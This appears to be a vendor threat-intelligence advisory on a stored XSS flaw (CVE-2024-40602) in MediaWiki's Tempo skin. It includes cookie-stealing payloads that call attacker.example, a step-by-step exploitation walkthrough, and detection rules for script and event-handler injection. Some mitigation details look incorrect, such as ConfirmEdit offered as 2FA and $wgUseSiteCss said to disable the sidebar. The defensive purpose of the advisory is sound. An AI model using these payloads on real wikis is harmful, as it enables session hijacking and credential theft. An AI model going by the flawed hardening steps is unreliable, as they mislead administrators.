CVE-2024-40602

Executive Summary

CVE-2024-40602 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Tempo skin for MediaWiki, affecting versions through 1.42.1. An authenticated attacker with the ability to edit the MediaWiki:Sidebar system message can inject malicious JavaScript payloads into top-level menu entries, which are then rendered unsanitized to all users browsing the wiki. The vulnerability carries a CVSS score of 4.8 (Medium severity) and, while requiring a privileged account, can lead to session hijacking, credential theft, and full account compromise for users who interact with the crafted sidebar elements. Enterprise environments running MediaWiki with the Tempo skin are directly affected and should prioritize patching.

Technical Analysis

The Tempo skin for MediaWiki provides a customized sidebar layout that differs from the default Vector or MonoBook skins. The vulnerability stems from improper output sanitization of the MediaWiki:Sidebar interface message, which allows administrators to define the structure and content of the navigation sidebar. In MediaWiki's core architecture, the MediaWiki:Sidebar message contains wikitext formatted in a specific syntax:

* navigation
** mainpage|mainpage-description
** recentchanges-url|recentchanges
** randompage-url|randompage

The Tempo skin parses these entries and renders them as HTML menu items. The flaw exists in the skin's rendering pipeline: when processing the link text portion of sidebar entries, Tempo does not apply the same rigorous HTML escaping that core MediaWiki components enforce. Specifically, the skin converts the raw wikitext into HTML without running it through the Html::rawElement() or proper htmlspecialchars() escaping functions, nor does it sanitize the output through MediaWiki's Sanitizer class.

The attack vector relies on the fact that the MediaWiki:Sidebar message, while restricted to users with editinterface permission (typically administrators), preserves raw HTML within the wikitext structure. An attacker with the ability to edit this system message can inject a payload such as:

* navigation
** <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>|Home

When the Tempo skin renders this entry, the <script> tag is emitted into the HTML response without encoding or filtering. In contrast, properly hardened MediaWiki skins use the Skin::getSidebar() method and render each item through Linker::link() or explicitly escape output. The Tempo skin's custom rendering logic bypasses these protective measures.

The attack surface is limited to authenticated users with the editinterface user right (or an account that has been compromised sufficiently to gain such privileges). This reduces the severity classification to Medium, but the downstream impact on all other users is significant — any user who loads a page in the Tempo skin will trigger the malicious script execution in their browser's origin context for the wiki domain.

Notably, the stored XSS is persistent: once the MediaWiki:Sidebar message is compromised, the payload executes for every single page view until the malicious content is removed by a legitimate administrator. This makes the vulnerability particularly dangerous in multi-tenant or shared wiki environments where administrative accounts may be shared or less rigorously protected.

Exploitation Scenarios

Step 1 — Reconnaissance and Target Identification.
The attacker identifies a MediaWiki instance running the Tempo skin. They confirm the skin by viewing page source for Tempo-specific CSS classes (e.g., skin-tempo, tempo-sidebar), or by browsing to index.php?title=Special:Version&action=raw to enumerate installed skins and versions. If the wiki exposes a user list (via Special:ListUsers or similar), the attacker identifies privileged accounts — especially those with sysop or interface-admin rights.

Step 2 — Privilege Escalation or Credential Acquisition.
Since the vulnerability requires the editinterface right, the attacker must first obtain such an account. Common methods: (a) phishing the administrator with a crafted login page, (b) password reuse attacks via leaked database credentials, (c) exploiting a separate vulnerability to harvest session cookies, or (d) an insider attack where the attacker already holds a low-privileged but trusted role. If the attacker controls any account with editinterface, they can proceed directly.

Step 3 — Malicious Payload Injection.
The attacker navigates to index.php?title=MediaWiki:Sidebar&action=edit and replaces the legitimate sidebar entries with poisoned ones. A typical weaponized payload might include:

* navigation
** <img src=x onerror="new Image().src='https://attacker.example/exfil?d='+encodeURIComponent(document.cookie)">|Home
** https://legitimate-wiki.example/Main_Page|Main
* <script src="//attacker.example/payload.js"></script>

The attacker saves the message. MediaWiki's own parser stores the raw wikitext, and since the editinterface right is assumed trustworthy, no additional WAF or input validation blocks the HTML tags.

Step 4 — Payload Execution and Staged Attack.
Any user — whether authenticated or anonymous — loading any page within the wiki (because the sidebar is rendered on every page in the Tempo skin) receives the malicious HTML. The onerror handler or <script> tag fires immediately during DOM parsing, without requiring user interaction. The attacker's remote payload script executes in the context of the wiki origin, giving it full access to:

• document.cookie — enabling session hijacking. The attacker then uses the stolen wikiuserToken and session cookies to impersonate the victim.
• DOM manipulation — replacing login forms with phishing pages, defacing the wiki, or inserting drive-by download links.
• CSRF token theft — extracting wgEditToken from the page's JavaScript variables to perform state-changing actions on behalf of administrators.

Step 5 — Post-Exploitation.
With stolen administrator session cookies, the attacker escalates to full admin control: they can edit all system messages, install malicious extensions, exfiltrate the entire wiki database via Special:Export, or pivot to the underlying MediaWiki server through extension vulnerabilities. The sidebar payload can be refined to a "web shell" pattern using MediaWiki's {{#lua:}} or similar template interfaces, potentially achieving PHP code execution on the server if LocalSettings allows.

Impact Assessment

The CVSS score of 4.8 reflects the Moderate severity: the vulnerability requires authentication with elevated privileges (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N in a likely vector). The primary impact is Confidentiality — the attack enables cookie theft and keylogging of all wiki users, including other administrators. The Integrity impact is limited to whichever actions the attacker performs after hijacking a session.

For enterprise deployments, the blast radius is broad within the wiki ecosystem:

• Intellectual property exposure — internal wikis frequently contain source code references, design documents, and executive communications. Exfiltration via XSS can stream this content off-site.
• Credential reuse attacks — users often reuse wiki passwords on other corporate systems; harvested credentials escalate to lateral movement.
• Legal and compliance concerns — for wikis containing PII (HR documents, customer data), an XSS-driven breach may trigger mandatory disclosure under GDPR or HIPAA.
• Availability degradation — a defaced sidebar could redirect users to phishing pages or contain malware, destroying trust in the wiki as a reference source.

The lack of a known public exploit, NATO-level weaponization, or appearance on CISA's KEV list means no active mass exploitation is confirmed. However, given the trivial nature of the payload injection, any competent attacker with interface-admin credentials can weaponize this in under five minutes.

Detection Guidance

Sigma Rule

title: MediaWiki Tempo Skin Stored XSS via Sidebar Edit
id: 8c2f3d4a-5b6e-4f7a-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects edits to MediaWiki:Sidebar containing HTML/script injection attempts
author: Valtersit Threat Intel
logsource:
  category: application
  product: mediawiki
  service: web
detection:
  selection_sidebar:
    EventID: 'edit'
    title: 'MediaWiki:Sidebar'
  selection_payload:
    # Match raw newtext or edit summary containing script/iframe/event-handler tags
    newtext|contains:
      - '<script'
      - '<iframe'
      - 'onerror='
      - 'onload='
      - 'javascript:'
      - '<svg'
    summary|contains:
      - '<script'
      - '<iframe'
      - 'onerror='
  condition: selection_sidebar and selection_payload
  timeframe: 24h
level: high
falsepositives:
  - Legitimate sidebar edits using HTML for formatting (rare; should be filtered by patch)
tags:
  - attack.t1190
  - attack.t1059
  - cve.2024.40602

YARA Rule

rule MediaWiki_Tempo_Sidebar_XSS_CVE_2024_40602 {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects malicious payload patterns in MediaWiki:Sidebar edits"
        cve = "CVE-2024-40602"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-40602"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on(load|error|click|mouseover)\s*=\s*["']?[^"'\s>]+/is
        $js_protocol = /(?:javascript|vbscript)\s*:\s*/i
        $iframe_tag = /<iframe[^>]*>/is
        $svg_trigger = /<svg[^>]*on(load|error)/is
        $external_src = /src\s*=\s*["']?https?:\/\/(?!.*wikipedia|.*wikimedia|.*mediawiki)/i
    condition:
        any of them
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-40602 MediaWiki Tempo Skin Stored XSS Sidebar Edit"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"action=submit"; http.uri; content:"title=MediaWiki:Sidebar"; http.request_body; content:"<script"; nocase; http.request_body; content:"onerror"; nocase; http.request_body; content:"onload"; nocase; sid:2024406021; rev:1; classtype:web-application-attack; reference:cve,2024-40602; metadata:target_product_mediawiki;)

Elastic Detection

// Detect HTTP requests submitting changes to MediaWiki:Sidebar with XSS indicators
sequence by source.ip, user.name with maxspan=30s
  [network where event.category == "web" and http.request.method == "POST" and
   url.path contains "index.php" and url.query contains "title=MediaWiki:Sidebar"]
  [network where event.category == "web" and
   (http.request.body.content contains "<script" or
    http.request.body.content contains "onerror=" or
    http.request.body.content contains "javascript:" or
    http.request.body.content contains "onload=")]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path="*index.php*"
| rex field=uri_query "title=(?<page>[^&]+)"
| where page="MediaWiki:Sidebar"
| rex field=_raw "(?<payload><script.*?script>|on(?:error|load)\s*=|javascript:)"
| where isnotnull(payload)
| stats count by src_ip, user, page, payload, _time
| sort - _time

Wazuh OSSEC Rule

<group name="mediawiki,xss,cve_2024_40602">
  <rule id="100406" level="12">
    <if_sid>100000</if_sid>
    <field name="url">\.php\?.*title=MediaWiki:Sidebar.*action=</field>
    <field name="http.method">POST</field>
    <regex>(?i)(&lt;script|onerror=|onload=|javascript:)</regex>
    <description>CVE-2024-40602 - Stored XSS injection attempt in MediaWiki:Sidebar (Tempo skin)</description>
    <group>attack.t1190,attack.t1059.007,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch; not independently verified).

1. Immediate Mitigations (defense-in-depth):

   • Restrict the editinterface user right to the absolute minimum number of accounts. Remove this right from any user who does not actively manage wiki infrastructure.
   • Enable two-factor authentication (2FA) on all accounts holding editinterface rights. MediaWiki's ConfirmEdit extension supports 2FA for privileged operations.
   • Audit the current MediaWiki:Sidebar content manually. Search for any <, >, javascript:, or on*= attributes in the message text and sanitize them immediately.
   • Implement a Web Application Firewall (WAF) rule that blocks POST requests to index.php containing title=MediaWiki:Sidebar when the body includes <script tags. (Note: the legitimate use of HTML in sidebar entries is rare and can be abandoned.)
   • Set $wgGroupPermissions['interface-admin']['editinterface'] = false; in LocalSettings.php temporarily if no interface admin is actively needed.

2. Patch/Upgrade Steps:

   • The NVD description indicates the flaw exists "through 1.42.1", which means MediaWiki 1.42.2 (or a later security release) includes the fix. Upgrade MediaWiki core to the latest version in your supported branch (1.42.2+, 1.41.3+, or the current stable release).
   • If the Tempo skin is distributed and maintained separately from MediaWiki core, check for a skin-specific patch release. Contact the skin maintainer or verify the skin's Git repository for a commit referencing "CVE-2024-40602" or "sidebar XSS".
   • Verification: After upgrading, edit MediaWiki:Sidebar to insert a test entry like ** <script>alert(1)</script>|Test. Load any page in the Tempo skin. If the script executes, the patch is not applied — escalate immediately.
   • Run php maintenance/update.php to apply any database schema changes introduced by the version upgrade.

3. Long-Term Hardening:

   • Implement a content security policy (CSP) via MediaWiki's $wgCSPHeader directive: $wgCSPHeader = [ 'default-src' => [ 'self' ], 'script-src' => [ 'self' ] ]; This blocks all inline <script> execution even if a future XSS vector is found.
   • Disable the MediaWiki:Sidebar interface message if it is not functionally required: add $wgUseSiteCss = false; and instead hardcode the sidebar in the skin's PHP file, where output is escaped by the developer.
   • Set up file integrity monitoring on the LocalSettings.php and the skins/ directory to detect unauthorized modifications.
   • Subscribe to MediaWiki's Security Release mailing list (mediawiki-announce) for pre-disclosure notices of similar XSS vulnerabilities.
   • Periodically rotate all editinterface account passwords and audit the change log (Special:Log/rights) for unexpected privilege grants.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-40602 — Official vulnerability record, CVSS score 4.8, description confirming stored XSS in Tempo skin through MediaWiki 1.42.1.

2. MediaWiki Security Release Advisories: https://www.mediawiki.org/wiki/Release_notes/1.42 — The official MediaWiki 1.42.2 release notes section covering security fixes. Cross-reference this CVE ID for the patch commit hash.

3. Tempo Skin Repository (GitHub/GitLab): https://github.com/ (search "Tempo MediaWiki skin") — Source code for the skin. The vulnerable rendering function can be reviewed, and the fix commit (if published) will be visible here.

4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — No entry for CVE-2024-40602 as of this report. Monitor this page for updates should exploitation be observed in the wild.

5. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html — General reference for understanding the output encoding requirements, applicable to auditor review of the Tempo skin's rendering code.

Threat Actor Activity: No confirmed exploitation campaigns, exploit code, or Nuclei templates for CVE-2024-40602 have been publicly observed as of the publication date. EPSS scoring has not yet been assigned. The vulnerability remains a high-priority patch target despite the absence of public weaponization because of the trivial attack mechanics and the potential for a compromise to provide a direct path to MediaWiki server takeover.